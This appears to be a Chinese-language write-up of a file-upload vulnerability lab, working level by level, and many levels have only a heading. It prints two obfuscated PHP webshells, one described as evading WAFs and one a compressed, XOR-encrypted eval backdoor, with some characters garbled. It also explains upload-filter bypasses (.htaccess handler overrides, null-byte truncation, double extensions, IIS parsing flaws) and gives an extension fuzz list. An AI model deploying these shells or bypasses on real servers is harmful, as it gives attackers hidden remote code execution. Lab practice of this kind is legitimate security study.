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第一题
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按题目意思应该是前端校验，后端没有检验，前端写入一句话木马，改成jpg，png，gif文件使用bp抓包，改文件后缀。

最近想写一个绕waf的帖子收集了一下过狗的php代码，好还是继续做题吧，首先先在一个php图片码



<?php 
header('HTTP/1.1 404');
class COMI { 
    public $c='';
    function __destruct() {
        $_0 = "\xfc"  ̂"\x9d";
        $_1 = "\x4"  ̂"\x77";
        $_2 = "\xb4"  ̂"\xc7";
        $_3 = "\x9b"  ̂"\xfe";
        $_4 = "\x93"  ̂"\xe1";
        $_5 = "\xe7"  ̂"\x93";
        $db =$_0.$_1.$_2.$_3.$_4.$_5;
        return @$db($this->c);
    }
}
$comi = new COMI();
@$comi->c = $_REQUEST['yzddmr6'];
?>

<?php
$P='T;$r=@base6TT4_encTode(@x(@gzTcoTmpreTss($o),T$k));prTTint("$p$kh$r$kf");}';
$n='@baseT64_decoTde($m[T1])T,$k))T);T$o=@ob_get_contents()T;@obT_enTd_clean()';
$h='tents("php://TTinput"),$m)=T=T1T){@ob_starTt();@eTval(@gzuncomTpresTs(T@xT(';
$r='Tg2el6vDTkTJ";fuTnction x($t,T$kT){$c=sTtTrlen($k);$l=sTtrTlen($t)T;$o="";';
$S='k{$jT};}}Treturn $o;}iTf(@preTg_matchT("/$TkTh(.+)$kfTT/",@file_TgetT_con';
$U=str_replace('v','','crevavtvev_fuvncvtion');
$V='for($i=T0T;$iT<T$l;){for($Tj=0;T(T$j<$c&&$i<$l)T;$j++,$i+T+){$o.=$Tt{$i} $̂T';
$M='$k="Tdfff0a7fT";$kh=T"a1a55Tc8c1a4T9";T$kf=T"66Tc19f6daT452";T$p="NeY2zRq';
$R=str_replace('T','',$M.$r.$V.$S.$h.$n.$P);
$p=$U('',$R);$p();
?>

生成图片码

修改文件名jpg，改为php。





第二题



多了一个判断图片类型，使用图片马，可以绕过。

第三题



第三题有点难度，分析一下定义了一个数组，设置黑名单机制，过滤.asp,.aspx,.php,.jsp,使用trim()去掉空格，deldot去掉文件末
尾的点，strrchr() 函数（在php中）查找字符在指定字符串中从右面开始的第一次出现的位置，如果成功，返回该字符以及其后
面的字符，如果失败，则返回 NULL。与之相对应的是strchr()函数，它查找字符串中首次出现指定字符以及其后面的字符，截取

第四题

将php3这种后缀都禁用了，这里需要补充个知识介绍.htaccess
.htaccess文件(或者"分布式配置文件"）,全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法， 即，在一个特
定的文档目录中放置一个包含一个或多个指令的文件， 以作用于此目录及其所有子目录。作为用户，所能使用的命令受到限
制。管理员可以通过Apache的AllowOverride指令来设置。
.htaccess可以帮我们实现包括：文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的
用户、只允许特定IP地址的用户、禁止目录列表，以及使用其他文件作为index文件等一些功能。
在.htaccess中填入 AddType application/x-httpd-php .jpg

先上传

file xt是文件后缀，strtolower()转化成小写，并将: DATA文件流替换，并再去空，想了想好像没有过滤php3，php4，php5，phpxml，等文件后缀，嘿嘿。:



上传.htaccess文件

上传jpg文件

发现图片被解析了



第五题

提示大小写绕过



getshell

题六题



第七题



第八题



第九题



查看源码，首先去掉文件末尾的点，并将文件后缀转换为小写，并替换文件流，再将末尾去空。所以.和空格构造. .后缀实现过滤



第十题

双写文件绕过，

第十一题

php 00截断
php版本要小于5.3.4，5.3.4及以上已经修复该问题

magic_quotes_gpc需要为OFF状态

include和require一般在网站内部读取文件

file_get_contents一般用于打开一个url或一个文件

file ame

= deny_ext,"", $file_name);这个函数只配备一次比如pphphp会替换一次php，将php转换为空，剩下的就重新拼接为php。str replace(



file_exists判断文件是否存在

第十二题

因为post传参不会%00继续url编码，所以需要手动修改，





第十三题

题目要求

1.保证上传后的图片马中仍然包含完整的一句话或webshell代码。

2.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关！

第十四题



第十五题



第16题
这题会将文件内容进行修改，但还是图片有没有修改地方，所以



修改的图片在上图，密码ls

第17题



这个题因为环境原因需要搭载到本地，所以说干就干。

环境准备，一张图片码

使用bp上传并疯狂访问





第十八题

好像一样，我环境有问题，

第19题





第二十题

iis解析漏洞

1. 目录解析

以*.asp命名的文件夹里的文件都将会被当成ASP文件执行。

2. 文件解析

*.asp;.jpg 像这种畸形文件名在“；”后面的直接被忽略，也就是说当成 *.asp文件执行。

3.以asa，cer，cdx都能以asp解析。

第二十一



第二十二



第二十三



Iis7.0 cgi解析漏洞复现
上传图片后缀加上/.php会被当做php执行

常见黑名单fuzz



.php

.php5

.php4

.php3

.php2
php1
.html
.htm
.phtml
.pHp
.pHp5
.pHp4
.pHp3
.pHp2
pHp1
.Html
.Htm
.pHtml
.jsp
.jspa
.jspx
.jsw
.jsv
.jspf
.jtml
.jSp
.jSpx
.jSpa
.jSw
.jSv
.jSpf
.jHtml
.asp
.aspx
.asa
.asax
.ascx
.ashx
.asmx
.cer
.aSp
.aSpx
.aSa
.aSax
.aScx
.aShx
.aSmx
.cEr
.sWf
.swf
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